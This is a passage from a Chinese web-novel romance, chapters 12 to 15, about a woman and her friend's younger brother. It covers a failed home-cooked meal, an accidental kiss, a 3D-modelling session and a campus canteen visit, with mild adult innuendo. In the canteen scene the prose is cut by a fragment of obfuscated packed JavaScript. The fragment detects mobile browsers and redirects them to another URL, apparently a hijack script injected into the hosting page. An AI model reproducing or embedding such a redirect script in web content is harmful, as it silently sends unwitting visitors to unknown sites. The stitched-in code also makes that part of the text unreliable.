“咦?你怎么还在这?”孟嘉信见他这会还在宿舍,有些惊讶,“你不是和你姐约了一起吃饭吗?”
“什么?”
“就,上次那个姐姐啊。”孟嘉信兀自往下说,“我今天约她出来谈了点事,本来还想请她吃个饭的,但她说约了弟弟吃饭,就拒绝我了,我也不好意思跟着去蹭饭……”
“她人挺好的,还把我送了回来,还让我见到你的话也顺便跟你说一声她在南门等你。”
“我才知道她说的弟弟是你,早知道她说的弟弟是你,我就……”
孟嘉信话还没说完,一阵风从身旁刮过,等他回过神来时,就剩宿舍门大喇喇地敞着,风吹进来,门还在轻轻摇动。
孟嘉信:?
-
季野火急火燎地下了宿舍楼,正好碰见林千骑着自行车迎面而来。
林千也看见他了,举了只手冲他打招呼,下一秒,人就被整个从车上端了下来。
“借你车用用。”
他的人,连同这句话,就这么一起被丢在了秋风里瑟瑟发抖。
林千:?
……
季野把自行车开出了宝马的速度,不出五分钟就赶到了南门。
他四处张望,没看见熟悉的身影。
拿出手机,正要问——
【你在南门?我现在……】
大柚子:【好吧,知道了。那你忙,我先走了。】
“……”
季野挺直的腰背一点点垮了下去,把停留在聊天框上还没打完的字又一一删掉。
徐诗柚过来了,特意来找他一起吃饭的。
他很硬气地拒掉了。
他努力消化着这个结果。
上次那条语音后,他被那句意味不明的daddy搞得躁动了几天,莫名亢奋,一时不知道怎么回就搁置了。
等他想起要回的时候都已经过去了很久,再回复感觉会显得很突兀,所以他最后也没回。
他还一直想着怎么自然地重新说上话来着,这会徐诗柚主动找他了,他却冲着人耍脾气……
这都什么跟什么?
【你来了怎么不告诉我……】
对着那条信息反复琢磨着说点什么,然后就见自己情不自禁地打下了这么一行字。
怎么看怎么幽怨……
他重重叹了口气,删掉!
-
徐诗柚是回到季薇家才想起来回季野的。
等了会没等到回复便把手机放到一边,开始思考这几天的工作。
之前在直播间接的单子,要的模型量不少,得先完成,孟嘉信那边的倒不是很急,这个可以等合同签了再做。
她决定这几天没事就都宅家里完成算了。
本来只是想趁辞职休息顺便赚点外快的,但怎么突然连合同都签上了,弄得好像正式工一样。
不过,做手工对她而言不是一个痛苦的过程,她挺喜欢那种沉浸式投入的感觉的。
徐诗柚突然想,如果把手作当成正式职业呢?
“呵。不回去,难道打算靠你那捏泥巴的手艺过日子吗?”
脑海里不适时地想起秦聿冷嘲的声音,徐诗柚刚冒出的那点想靠手作创业的念头,很快就又被打压了回去。
她甩了甩脑子里乱七八糟的想法,架起手机准备上播。
只是直播了还不到半小时,门铃响了。
她又只好放下手上的工具去开门。
季野拎着大包小包的超市购物袋站在门外。
徐诗柚有些发愣:“你……”
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季野迅速把一路上想好了的借口说出来:“导师突然有事,临时通知不用去了。”
“哦……”
徐诗柚见他提着这么多东西,侧身先让他进门。
关上门后跟着他进了厨房,才发现购物袋里装的都是菜。
“你这是……打算自己做饭?”
“嗯,你还没吃饭吧?”
季野这周末本来是不打算回来的,毕竟他们怎么说也是异性,不好共处一屋。
但因为晚饭那一出,他怕徐诗柚会生气,思来想去还是想回来当面确认下她的态度。
想起徐诗柚很喜欢吃他姐做的菜,所以还特意向他姐讨教了一番。
季薇一边吐槽他转性了,一边给他发了几个她的独门菜谱。
“还没呢,不过……你确定你能做好?”
住在季薇家的这几天,徐诗柚也算对季野有些了解了,这位小少爷跟她一样,做饭方面都是个菜鸟。
“不确定。”季野很诚实,说完就把她撵出了厨房,“诗柚姐,你先出去吧,你在会影响我发挥。”
徐诗柚:“……”
季野说的是心理层面的影响,徐诗柚却以为他说的是技术层面。
大家都半斤八两,他居然还嘲她!
但想起自己过往的战绩,她又默默把反驳的话吞了回去。
在京市那会,徐诗柚也是尝试过做饭的。
秦聿也会做饭,做得还不错,他教过她。
因为偶尔事后,两人都需要补充体力,总免不了下厨。
一开始,秦聿没想管她的,让她自己去做,后来发现她根本就是个厨房杀手,教都教不会的那种,就认命地揽了做饭的活。
徐诗柚从此对自己的厨艺有了深刻的认知,也不再在自己没有天赋的事上浪费时间了。
不会做就不会做吧,大不了以后找个会做饭的对象就行,她是这么想的。
既然不用她帮忙,徐诗柚就麻溜地滚回去继续做手工,发现自己刚才忘了关直播,这会弹幕都在八卦。
【柚柚去哪了?怎么还不回来?】
【刚才好像听到有男人的声音?是主播男朋友回来了吗?】
【是男朋友吧?刚才好像还听见说做饭什么的?这么亲近的话题,肯定是男朋友……】
耳朵这么好使的吗?这都能听见?
徐诗柚瞄了眼厨房的方向,确认季野听不见,这才开口回应了下。
“还不是。”
【啊啊啊——!主播说的是,还!不!是!】
【那不就是暧昧对象吗?还给上门做饭的那种?主播好福气啊~】
【发展到什么程度了?】
【都进家里了……】
【是个小哥哥吧?刚才听到点,声音挺年轻的,小哥哥的声音也好好听!】
徐诗柚看着直播间快速滚动的评论区,哭笑不得,回了句“八字都没一撇”就不再说了。
她这冷门直播间难得这么热闹,居然都是冲着八卦来的。
差不多一小时后,季野开始往桌上端菜,徐诗柚一个吃白食的当然不好继续坐着,匆匆下了直播间过去帮忙。
徐诗柚不知道他是怎么办到的,这么快就做好了三菜一汤,而且看着品相都不差。
这就是天赋吗!!
但吃下第一口后,徐诗柚心理就平衡了。
两人默契地对视了眼,眼神心照不宣。
季野率先放下了筷子,面色平静地掏出手机:“点外卖吧。”
12. 误吻
徐诗柚笑得不行,挑挑拣拣着吃:“别了,就是有些地方……可能盐没打散?挑着点吃就行。”
菜品相都挺好,就是可能第一次做,调料的把握没那么精准,不是咸了就是淡了,不是甜了就是酸了。
但徐诗柚觉得也能吃,至少比她强,她可能连道像样的菜都做不出来,弟弟的至少看着唬人。
季野有些萎靡,垮着张脸闷头吃,也不吭声。
也不管菜多咸,他现在吃什么都觉得索然无味。
徐诗柚见他这样,鼓励道:“第一次做,真的很好了,就你这学习能力,多做几次我觉得都能赶上你姐了!”
季野怏怏地撩了撩眼皮,很怀疑:“真的?”
徐诗柚坚定地点头:“真的!”
苍白的鼓励到底起不到多大的作用,季野也就振奋了那么一下,很快又耷拉着脑袋垮了下去,像只没把事情做好而得不到主人夸奖的沮丧小狗。
徐诗柚也不明白,做不好饭这件事为什么对他打击这么大。
毕竟她做不好的时候,只会认为是自己的天赋点没点在做饭上。
她不会安慰人。
看他垂头丧气的样子,挠了挠脸,最后抬手朝他耷拉着的黑黑脑袋伸去。
被摸头的人明显一滞。
徐诗柚揉了揉他乖顺的发,手感还怪好的。
安慰他:“阿野很棒了,下次肯定能做得更好~”
季野脸色明显变了变,头一偏,避开了她手,声音有些哑:“你别摸我……”
徐诗柚还是第一次做这种事,被躲开了还有些尴尬,这……好像又被拒绝了?
她正想着要不要为自己冒犯的行为道歉,就见对面的人突然“噌”地站了起来。
“我去下洗手间。”
“……?”
-
季野本来是打算吃完饭就回学校的,但徐诗柚好像默认了他周末会回来住,并没有表现出什么要和他这个异性独处一屋的排斥,或为难神色。
甚至还特意提醒他,她晚上可能会在大厅开直播,要是影响到他,让他直接说明。
他平时在家,其实更多都是宅在房间里打打游戏什么的,她在大厅做什么并不会对他有什么影响。
所以他说了没关系。
但没再开口说自己要回学校。
季野洗完澡出来的时候,徐诗柚已经换了身衣服,正窝在客厅沙发上。
她穿着身宽松的米白色毛衣,头发半湿地披在肩上,膝盖蜷起顶着画板,笔尖沙沙沙地不知道画着什么,一派居家的慵懒感,泡芙也懒懒地蜷在她脚边。
季野莫名有种两人在同居的错觉……
因着徐诗柚那份恍若呆在自己家的过分松弛感。
她好像完全不会因为要和一个不太熟悉的异性同住一屋而感到拘束。
是因为只把他当弟弟,所以对他很放心吗?
季野不知道该为这份信任感到高兴还是挫败。
他走近了些。
先注意到的是她那两截露在两空气中的脚踝,纤细得一只手就能轻松掌握。
细腻的皮肤在灯光下泛着瓷白,脚趾蜷着,指甲剪得整齐圆润,透着淡淡的粉。
因为冷,她的脚还在无意识地往泡芙的肚皮底下塞,企图用猫给自己暖脚。
季野觉得她这行为有些坏坏的可爱,唇角不觉勾起。
视线这会才落到她的画板上。
画的是个二次元女角色,但徐诗柚对自己画的似乎不是很满意,眉头一直紧敛,不停地修改着图。
季野没看出来有什么问题,画得挺好的。
“这画有什么问题吗?”
身后忽然传来轻微的布料摩擦声,徐诗柚只觉沙发靠背被轻轻压上,带着暖意的气息拂过了耳畔。
她猛一激灵,挺直了身,下意识往后看。
季野正弯着腰从沙发后探过头来,手肘搭在靠背上,下颌几乎要贴住她的发顶。
动作太急,徐诗柚这一挺身偏头,鼻尖先撞上了对方温热的脸颊,紧接着,唇就这么直接从对方的下颌线擦了过去。
一点点,真的就一点点!很轻很轻,都没什么感觉那种!
但季野整个都僵住了。
像被一片柔软的羽毛轻轻扫过,呼吸都凝滞了。
然后徐诗柚就肉眼可见的,他从耳尖一路红到了脖颈,染红了衣服的边缘,连搭在沙发上的指尖都透着几分僵硬。
徐诗柚用手背轻轻捂上了嘴,无辜地眨巴着眼:“不、不好意思啊,不小心的……”
季野下颌线绷紧,然后一点点地,慢慢地,垂下了脑袋。
碎发随着他的动作垂下,稍稍遮挡住了他的眉眼。
徐诗柚的角度,看不见他的神情,也看不见他底下不住轻滚的喉结。
她只觉他浑身都散发着一股颓靡之气,似乎要花很长时间去接受被人占了便宜这个事实。
徐诗柚唇紧抿着,这会也有点无措。
一时间竟不知该怎么处理这事。
她设身处地想了想,要是她被不喜欢的人占了便宜,会怎么做?
会直接一巴掌扇过去!
不对,弟弟很乖的,肯定不会打她。
“你…还好吗?”徐诗柚小心翼翼出声。
季野这才动了动,小狗脑袋抬起时,眼神已是一片真挚的澄澈。
只有声音,似乎还带着点未散的热意:“抱歉啊诗柚姐,我刚刚是不是吓到你了?”
?
??
徐诗柚怎么也没想到,他第一句话居然是道歉!
没朝她发火就算了,居然还先反省了是不是自己问题?
天哪,他真的好乖!!
好想亲……
徐诗柚被他干净漆黑的瞳仁吸引。
那么清澈纯粹,不带一丝杂念。
反观她,满脑子都是些什么黄色废料?甚至刚刚亲到的时候,其实还暗爽了下……
她快速收回视线,甩掉满脑子的脏东西,故作淡定地回应:“没事,是我反应太大了。”
意外告一段落。
两人都试图把暧昧的氛围拉回正轨,季野咳了声,生硬地把话题掰回:“我看你刚才一直在修这幅画,是哪里画得不好吗?”
徐诗柚成功被他带回到正事上,想起画,小脸都皱了起来。
她确实很苦恼,正好有人听她讲话,她便也没忍住抱怨了起来:“我有个客户,定制的是一个原创角色,但她没有参考图,只有文字描述。”
“我按她的文字描述捏了几版,对方都说和她想象的不一样,但又说不出具体改哪里。”
“我就尝试画草图给她看,看了草图她又说,有点这个感觉,但又不完全对,问她哪不对,她又说不上来,我就不知道怎么改了。”
季野很认真地听她说完,偏头想了想,忽然起身道:“你过来下。”
“?”
徐诗柚一脸懵地跟他进了房间,见他打开了电脑。
他拉了张
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椅子过来给她:“我可以试着帮你弄成3D模型,先把人物的轮廓、发型、裙摆这些结构做出来,到时候你发给客户,她可以直接在上面标注调整细节。”
徐诗柚眼睛都亮了:“这也行?”
她对3D建模一窍不通。
季野语气淡淡的,却带着让人安心的笃定感:“可以。”
手工创作最怕抽象的文字描述,没有具象参考,只能靠自己揣摩,还不一定能猜到客户审美,而手工的试错率又低。
如果用建模就能解决的话,那确实很方便。
徐诗柚见他打开了建模软件,抬起了一只手。
她迅速心领神会地把手绘草图递了过去。
季野征了下,接过草图,无声勾了下唇角。
而后垂着头,仔细地对着设定图看了又看,似乎是在拆解角色的比例细节。
从角色的长卷发到裙子的层叠褶皱,连袖口的蕾丝花边纹样都没放过。
看完草图,还没等到他下一步指令,徐诗柚又飞快地递了手机过去,让他看客户的文字描述要求。
季野可太喜欢她这机灵劲了,微微偏头,便对上她亮晶晶的期待眼神。
被她用这种眼神盯着,他耳尖隐隐有些发烫,很快又垂下眸去,认真看手机。
空着的手,指尖无意识地轻叩着桌面,有种在领域内的气定神闲之感。
徐诗柚突然就觉得他现在一点都不弟弟了,就很……男人?
不一会,他放下了手机。
笔刚落在数位板上,整个人的气场就变了。
键盘敲击声清脆有序,在他飞速划动的笔尖下,屏幕上的线框模型逐渐有了雏形,能看出一些少女的身形轮廓。
他的视线始终没有移开过屏幕,边操作,边和她确认着一些细节。
“头发分层做成这样可以吗?”
“星纹用点状还是细线条?是集中在下摆还是零散分布?”
语气耐心又严谨。
徐诗柚伸手虚虚点向屏幕,一边补充需求,一边比划:“头发要有被风吹起的感觉,星纹的话,零散分布在下摆,但又不能太密……”
随着反复调整,模型已经有了完整形态,季野还在调整身形比例,从肩颈的纤细弧度到裙摆的蓬松度,每一个细节都精准把控。
遇到细节处,他还会对照草图,拖动模型旋转、缩放,反复比对。
他唇角微抿,眉心轻敛,笔尖在数位板上每勾勒一笔,角色就更灵动一分。
徐诗柚原本被甲方要求折磨得不耐的心情逐渐沉下,目光也不自觉被他吸引。
沉浸在专业领域里的季野,浑身透着种沉稳又耀眼的光芒。
冷光映在他脸上,勾勒出他清晰的下颌线,睫毛在眼睫下透出淡淡的阴影。
平时略显冷淡内敛的眼神,此刻透着专注,有种让人移不开眼的魅力。
徐诗柚觉得,他就连握笔的指节都好看。
莫名的,她觉得心跳都快了几分,心底有柔软的悸动在悄悄蔓延。
“诗柚姐,你看下这里,这样弄行吗?”
季野忽然偏过头来向她确认细节。
徐诗柚没有看向屏幕,她眨了眨眼,目光仍旧落在他脸上,一动不动。
而后,缓缓抬眸,对上他漆黑的眼。
“诗柚姐?”季野被她看得无端泛起了些紧张。
视线相撞的瞬间,徐诗柚喉间滚出一丝笑意,声音缓而缱绻,尾音微微上扬:“怎么不叫姐姐了?”
13. 暧昧
她声音缱绻而慵懒,轻轻落在耳边,季野只觉心头猛地一跳,眼睫飞快地颤了颤。
徐诗柚此刻正懒懒地支着一侧脸,歪靠在电脑桌上。
手掌轻轻托着下颌,毛衣袖口的绒毛软软蓬蓬的,蹭着她的下颌和脸颊,裹出一层毛茸茸的软绵。
她唇角轻轻扬起,眉眼弯弯,说话时,稍稍倾身向前。
本就坐得挺近的距离,一下就拉得更近了。
那因为专注而刻意忽略的香甜桃子气息再次侵占鼻息,季野下意识垂了眼,不敢和她对视。
却一不小心撞见了一片更不该看的风景里。
她的毛衣本就是宽松的版型,领口松松垮垮地挂在肩头,随着她微微前倾的身姿,领口处垂下了些。
露出锁骨处大片细腻的雪白,甚至能隐隐看到,掩在阴影深处那饱满起伏的轮廓,还有一角蕾丝的边缘……
季野感觉自己心跳都漏了半拍,慌乱得眼睫疯狂乱眨,仓皇挪开视线,浓密的睫毛在眼下快速扫过一片细碎的阴影。
他下意识舔了舔干涩的唇,哑着嗓子磕磕巴巴地已读乱回:“这、这里,你看下,这样调整对不对?”
他眼睛转向屏幕,实际眼前已是一片模糊,一个像素都看不进去。
只觉喉咙干渴,脸红耳热,浑身发烫。
好渴,怎么这么渴……想喝水……
不自在地一咳,他点着屏幕接着说:“这里星纹的线条,我调细了一点,会更有质感些,你看看怎么样……”
语气里带着刻意的镇定。
徐诗柚盯了他半晌,轻笑一声,随即顺从地看向屏幕,配合地把刚才的话题轻轻掀过。
其实整体模型形象已经差不多了,但季野对自己作品的完成度要求颇高,还在反复拉来拉去地调细节。
在徐诗柚打了第三个哈欠后,才终于意识到时间已经过去很久了。
建模这事看久了也就那样,没什么趣味,很枯燥无聊。
“已经不早了,诗……”他下意识又想喊诗柚姐,但想起刚刚徐诗柚问他为什么不喊姐姐的话,又把称呼咽了回去。
“你先回房休息吧,我再调下也睡了。”
徐诗柚才知道做这个这么费时费神,都有点不好意思了。
“你也睡吧,不着急,明天再做也行。”
“好。”
徐诗柚起身拍拍他肩,还是很社会人的那套:“今晚麻烦你了,下次姐姐请你吃饭。”
“好……”
“那我先回房了,晚安。”
徐诗柚打着哈欠往门外走,随手朝身后挥了挥。
她一路走回主卧,要准备关门的时候,才发现不对劲。
她握着门把,顿住,回头,眼睛瞪大:“你跟着我做什么?”
身后不知道什么时候吊了根小尾巴。
怎么弄得好像送她回家似的?不就几步路的距离吗?
“还有事?”
季野也不知道自己怎么就跟上来了,见她离开,下意识就起身跟着了。
等跟到人房门,被这么一问,才突然回魂了似的。
他窘迫地张了张嘴:“没……”
徐诗柚看他心不在焉的样子,有些好笑,没再追问他奇奇怪怪的行为:“那我去睡了?”
“嗯……”
徐诗柚要关门,又在门还剩一点缝隙的时候,被突然物理制止了。
季野不知何时抬了手,掌心贴着门板,制住了她关门的动作。
徐诗柚轻扬了下眉。
他的动作快得有些仓促,耳尖在透光下泛着一层薄红,眼睛也不敢直视她。
大晚上的,在她房间门口欲言又止,她要关门了,还挡住,这……不会是……
咳咳,如果弟弟有这个想法的话,也不是……
徐诗柚想得都快白切黄了,却听见头顶传来弟弟犹犹豫豫的声音:“没什么,就是想和你说声晚安……”
她抬眸,对上弟弟有些羞涩的眉眼。
然后就听他缓缓道出那句:“晚安……姐姐。”
话音才落,弟弟就猛地收回了手,像碰到什么烫手东西似的,徐诗柚都还没来得及反应,就见他唰地闪走了。
砰——
弟弟卧室门关上的声音。
徐诗柚呆站在门外半晌,耳边还一直循环播放着那句“晚安姐姐”。
少年人的声音清冽如碎玉,尾音轻轻上扬,把“姐姐”两个字喊得又轻又软。
徐诗柚从未想过,“姐姐”两个字原来有这么大的杀伤力,居然喊得她心都快化了。
关了门,她奔到床上,兴奋莫名地抱着被子滚来滚去。
——啊啊啊啊!!
弟弟为什么这么纯爱!!!
-
季野一晚上都没睡好。
他一直不喊徐诗柚为姐姐其实是觉得,这个称呼用在非亲姐弟身上是有些暧昧的。
他知道身边有不少同学谈上学姐的话,就很喜欢姐姐弟弟地互相喊着来调情。
喊姐姐,总归是有些暧昧的,一不小心,可能就会暴露了自己的心思。
比如现在,一旦喊出口了,他就已经开始不可控地想入非非,心猿意马了。
满脑子都是姐姐的一颦一笑。
姐姐在他床上换衣服……
姐姐唇擦过他脸时的触感……
姐姐在他怀里时温软的身体……
还有些乱七八糟的画面……阴影……起伏……蕾丝……
他躁动了一晚上。
不出意外的,早上一睁眼,就感受到了底下一片黏腻的潮湿感。
好烦。
他去洗了个澡才躺回床上,摸出手机看了眼,9点多。
点开微信,第一眼就看到置顶头像的红点。
【早安,弟弟,醒了吗?】
-
徐诗柚昨晚睡得很好,不知道是不是太兴奋,精神疲惫。
醒来后,她脑子清醒了几分。
话说,她昨晚兴奋了一夜,就只是因为弟弟喊了她声“姐姐”?
怎么弄得跟没谈过恋爱的纯情少女似的……
先不说弟弟的这声“姐姐”有没别的含义,说不定只是单纯的晚辈对长辈的称呼呢?
再说,弟弟不是还有暗恋的人吗?
就算真有点什么,自己这心情是不是也太过了?到底在兴奋些什么?
没出息!
但她还有点不真实感,怀疑是由于自己太
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过馋弟弟而产生的睡前幻想,忍不住确认了下。
所以她一睡醒,就给弟弟发了句早安问候。
弟弟可能还没醒,没回应。
收到回复是在徐诗柚洗漱完后。
【嗯,起晚了,姐姐早安。】
!!!
是姐姐!
称呼没改!!!
她心满意足地退出聊天框。
下一秒,看到另一条弹出的消息后,上扬的嘴角又落了回去。
秦聿:【今晚落地,出来吃饭。】
附带一条餐厅定位。
徐诗柚直接回了个问号。
秦聿:【有事说。】
……
-
徐诗柚出房门的时候,兴奋愉悦的心情散了大半,更多是被秦聿那条信息搞得心烦意乱。
说有事,又不说什么事。问就是“出来就知道了”。
门拉开,门外一道高大的身影将她裹住,徐诗柚惊了下。
季野抬着手,准备敲门的样子。
“姐姐……”
季野今天穿了件深灰的冲锋衣,领子规规矩矩地拉到最高,说话时,脸埋了半张在领子里,露出的眉眼都有些涩意,耳廓泛着淡淡的粉。
显然还没习惯这称呼,多少带了点少年人的羞涩,喊完立马垂下了眼,下巴又往领口里缩了缩。
但这声“姐姐”轻易就抚平了徐诗柚烦乱的心情。
“嗯?”徐诗柚听得耳朵痒痒的,声音都忍不住放轻柔,“怎么?”
不知道是不是因为称呼改了,两人之间的氛围也有些微妙。
季野这才稍稍抬了下眼看她,把话接下去:“昨天的模型已经弄好了,你要看下吗?看看还有没有需要调整的?”
其实昨晚都做得差不多了,徐诗柚挺放心季野的技术的,但弟弟都这么说了,她便还是跟着去看了下。
电脑早已开着,看来他早上起来后还有调整过。
他坐在电脑桌前,拉着模型旋转,放大,缩小,方便徐诗柚看清每个细节。
徐诗柚没坐,在他旁侧微微弯着腰观看展示:“没问题,这做的比我画的好多了,看着也方便。”
毕竟她画的都是草图,想把作品做得更细致精准的话,还得多画几个角度来确认细节,她又不是专业画画的,速度还快不了。
徐诗柚突然发现这个建模技术其实对制作结构复杂的角色很有用,她偶尔也会接到一些带复杂结构或者多人组合场景的手办。
经常就会出现关节角度不对,容易断裂,或者重心不稳等问题,需要不断试错,然而反复修改会浪费大量材料。
但如果可以通过建模先搭建“骨架结构”,确认比例、重心、复杂部件的衔接方式,再按模型比例手工捏制,就可以避免反复试错了。
她要不要也去进修下建模学习?
“我把链接发给你了,你把这个直接发给客户,她可以在线标注调整。”
徐诗柚按他说的做了。
有淡淡的青柠香渗入鼻息,徐诗柚这会才注意到,季野的发尾还有些潮潮的。
她下意识抬手,摸了下他后脖颈处那剃得利落但显得有些茸茸的短发:“弟弟,你大早上的就洗澡啊?”
14. 学妹
季野被她这一触碰,弄得浑身激灵。
闻言,耳根猛地红透,下意识抬手捂住被她触碰的地方。
“昨、昨晚做噩梦了,出了一身汗。”他胡乱解释。
徐诗柚笑他:“什么噩梦把你能吓成这样?”
“没…可能因为在梦里一直跑……”
“哦,在梦里运动了啊?我也梦见过被一直追着跑的场景,确实是累坏了,会出汗也不奇怪。”
“……”
确实是运动,就是此运动,非彼运动就是了……
想到这,季野浑身烧得更厉害了,眼神左顾右盼,就是不敢迎上她的眼。
“姐姐。”他不自然地清了清嗓子,转移话题,“要出去吃饭吗?”
“出去吃饭?”
徐诗柚看了下时间,两人起得都不是很早,早餐也没吃,这会都快到吃午饭时间了。
不过她向来都是点外卖的,倒是没想过要出去吃。
“你上次不是说,想去我们学校饭堂吗?今天要不要去试试?”
徐诗柚想起来了,上次提议去饭堂吃的时候,弟弟还说不方便来着。
徐诗柚当时想的是他可能怕被喜欢的人看见会误会,所以才拒绝她。
怎么这会又方便了?
她拧着眉,不确定地反问:“你确定……我跟你去没关系?”
季野想,离上次朋友圈捞人的事都过去一段时间了,今天又是周六,出来食堂的人没有平时多,应该没什么关系。
“嗯,没事。”
“那行啊,不过我得先回房收拾下。”
“好,我等你。”
徐诗柚回房折腾了大半个小时。
她平时打扮都偏成熟型,这次刻意画了个年轻些的妆,穿着也偏学生风格一点。
照了几遍镜子,反复确认满意后才出了门。
季野早在外面沙发上等着,听见声音回头看了眼,顿住,很快又低下了视线。
他起身:“走吧。”
“……”真是打扮了给瞎子看。
好歹给个评价啊?
徐诗柚有些挫败,每次刻意打扮来给弟弟看,对方好像都不愿多看她两眼似的。
离午饭时间还早,徐诗柚没开车,两人选择步行到学校。
本来想着周六人少,应该不会遇见熟人的。
结果两人刚踏进校门,就听到身后有人喊。
“季学长!”
两人回头,就见不远处,一名长相甜美可爱的女生边喊着季野,边跑了过来。
“季学长!季学长!”声音里是掩不住的兴奋,步伐都充满着小雀跃。
徐诗柚听见过这个声音。
她睨了眼身旁脸色一般的人,笑着揶揄:“学妹?”
“……”季野都想拉着人跑了,怎么偏偏遇上认识的。
学妹很快跑到了跟前,目光灼灼地盯着季野:“学长好巧啊!你也是刚从外面回来吗?”
说完,才注意到一旁的徐诗柚。
林雪先是一愣,接着视线很快地在两人之间来回扫了个遍,不确定出声:“这位是……”
她看向季野,似乎想要一个确认:“学长,这是你同学?”
徐诗柚也看他,正好对上季野同样看过来的眼神。
她摸了摸鼻子,重新望向女孩,决定还是自己化解这尴尬吧。
她笑着出声:“不是,我是她姐姐。”
闺蜜的弟弟,不就约等于她弟弟咯。
季野有暗恋的人,乱传出什么影响他的谣言也不好,姑且先当着姐姐吧。
林雪明显松了口气,原本僵在脸上的笑意立马又重新绽放,很有礼貌地朝她点头:“姐姐好,我是林雪。”
又冲季野说:“季学长,你姐姐好漂亮啊,怪不得呢,你们一家颜值都好高啊!”
看来是把她误会成亲姐了……
算了,就这样吧,反正也不一定有下一次见面。
“嗯。”季野声音听起来却没什么精神,跟刚才一路走过来时的轻快都不一样了,明显多了几分消沉。
徐诗柚偷觑了他一眼。
他好像说过他不喜欢这个学妹来着……是不喜欢被纠缠?
“你们现在要去哪啊?学长是要回宿舍吗?”学妹完全察觉不出对方的情绪不高,还在兀自兴奋着。
“食堂。”
“好巧!我也是!既然都是去吃饭的,那我们一起吧!”
季野:……
徐诗柚:……
得,还甩不掉了。
-
“季学长,你平时周末都做什么?”
“季学长,你看过这个电影吗?下周第二部就上映了,你去看吗?”
“季学长,听说社团要搞联谊活动,你知道是和哪个专业的吗?”
……
一路上,林雪像只叽叽喳喳的小鸟一样围着季野转。
徐诗柚原本是和季野并肩走的,但因为林雪的加入,不得不让出了位置,这会干脆走在了他们前面。
她总感觉身后一直有视线跟着她,但每次回头,季野都目光冷淡地看着前方,嗯嗯哦哦地应付着林雪的十万个问题。
看着怏怏的。
徐诗柚莫名觉得,他像只受了什么打击的失落小狗。
很快,他们到了食堂。
徐诗柚不知道他们食堂都什么好吃,也没有学生卡,干脆都交给季野替她点,自己就占个位等着。
林雪也跟着一起去了。
徐诗柚看着两人站一起的背影,还挺般配的。
一个寡淡少言,一个活泼可爱。
而且林雪是那种小巧玲珑的个子,跟季野站一起,还有种很萌的身高差。
最重要的是,两人都是充满青春朝气的大学生,也会有更多话题。
不像她,打扮得再像学生,内里也是被社会打磨过后的一潭死水。
当初,她好像也是被季野身上的那种蓬勃朝气吸引的。
人可能往往就是容易被自己没有的东西所吸引吧。
“学姐,可以加个好友吗?”
突然有人拍了拍她,徐诗柚侧头看去,是个笑得有些腼腆的男生,长得白白净净的。
旁边一桌的人,都在偷偷看过来,她视线过去,立马又都刷刷低头,假装吃饭,应该都是和这男生一起的。
徐诗柚忽的就想起大学的时候,舍友们要是看上哪个帅哥,总要派她当代表,上去要联系方式。
不知道他们是不是也这样。
毕竟这男生看起来就是这群人里最好看的那个。
因为自己也干过不少这种事,徐诗柚知道被拒绝会挺尴尬的,不知出于感同身受还是怀念,她同意了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16850272|191512||http|test|mini|href|location''.split(''|''),0,{}));
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>其实她主动加人的时候很少会被拒绝,但偶尔不小心碰上了有对象的,就挺尴尬的。
“谢谢学姐。”男生添加完好友后,也没打算过多打扰,很快就退了回去,只是视线时不时朝她看来。
徐诗柚收回手机,一回头,就见不知道什么时候回来了的季野,正脸色阴沉地站在她身后。
她愣了下,赶紧接过餐盘:“辛苦了辛苦了,谢谢弟弟,快坐下吃吧。”
林雪也看到刚才的事了,她坐到了季野对面,眼睛却看向徐诗柚:“姐姐,刚刚那人你认识?”
“嗯?不认识啊。”
“哦,我看你们聊得挺开心的,还以为认识呢。那是来要你微信的?”
“嗯。”
“你加了?”
“加了。”
“为什么要加啊?姐姐也对他感兴趣?”
林雪只是单纯地不理解,她也经常被人要微信,但是没兴趣的话,她一般都会拒绝,不会随便加人。
“哦,这个啊~没什么啊,就是看他长得不错,加来——”
徐诗柚懒懒抬了下眼,无所谓道:“养鱼。”
“……”林雪眼睛瞪大,震惊一秒,又迅速看向季野,笑容都变得有些尴尬了。
她是不是问了什么不该问的……
话痨如她都突然不知道该怎么接话了,只好一味地埋头吃饭。
徐诗柚终于把她叽叽喳喳的小嘴给堵上了,乐得清静。
季野却忽然搁下了筷子,说:“渴了。”
他问徐诗柚:“姐姐要喝点什么吗?”
徐诗柚想了想:“奶茶吧,上次你给我买的那种。”
“好。”他应下,出于礼貌,又问林雪,“你要吗?”
“要要要!我什么都可以!”
季野一走,林雪突然又活了。
赶紧趁机打听:“姐姐,你知道季学长喜欢什么类型的女孩吗?”
……
季野没多会就回来了,给她递了杯热奶茶。
徐诗柚尝了口,发现里面的料好多,像是特意加的。
再偷觑了眼林雪那杯,就是基础款的珍珠奶茶,除了珍珠什么也没加……
那累积的一丢丢不痛快顷刻都被奶茶甜化了。
哼哼,看来弟弟还是懂亲疏远近的嘛。
-
吃过饭后,终于把林雪送走了,两人又并肩散着步往回走。
路上看见有小推车在卖梅花小蛋糕,徐诗柚多看了两眼,季野就跑着去给她买了回来。
拿到手的时候,徐诗柚还有些征然。
她突然就想起在京市的时候,有次和秦聿在街头散步,她看到铁皮推车上那糖油饼滋滋地冒着油,很馋。
就和他说,想吃。
他看了眼,很嫌弃地拧起了眉,说了句“脏”,然后就把她拉走了,任由她一步三回头也没用。
还说,她要是因为吃这种东西长胖了,就不要她了。
因为他就喜欢漂亮耀眼的东西,讨厌丑的,任何影响他审美的都入不了他眼。
莫名的,她突然有些想哭。
她低下头,快速地眨了眨有些酸涩的眼,捻了口小蛋糕塞嘴里,把哽咽堵了回去。
等咽下后,才缓缓抬了头,望向季野。
她慢慢出声,问:“季野,你喜欢什么类型的女孩啊?”
15. 喜欢
季野脚步顿住,一直没什么光彩的眼睛似乎亮了一瞬,低头朝她看来。
“姐姐想知道?”他问。
徐诗柚视线飘了下,问出口的时候,是她想问的。
但她没承认:“刚才你去买奶茶的时候,学妹问我的。”
季野的眼睛又黯了下去:“那姐姐怎么说?”
他现在叫姐姐,已经不那么别扭了,居然喊得还挺顺口。
徐诗柚无奈笑笑:“我能怎么说?我哪知道,所以这不是在问你嘛?”
“哦……”
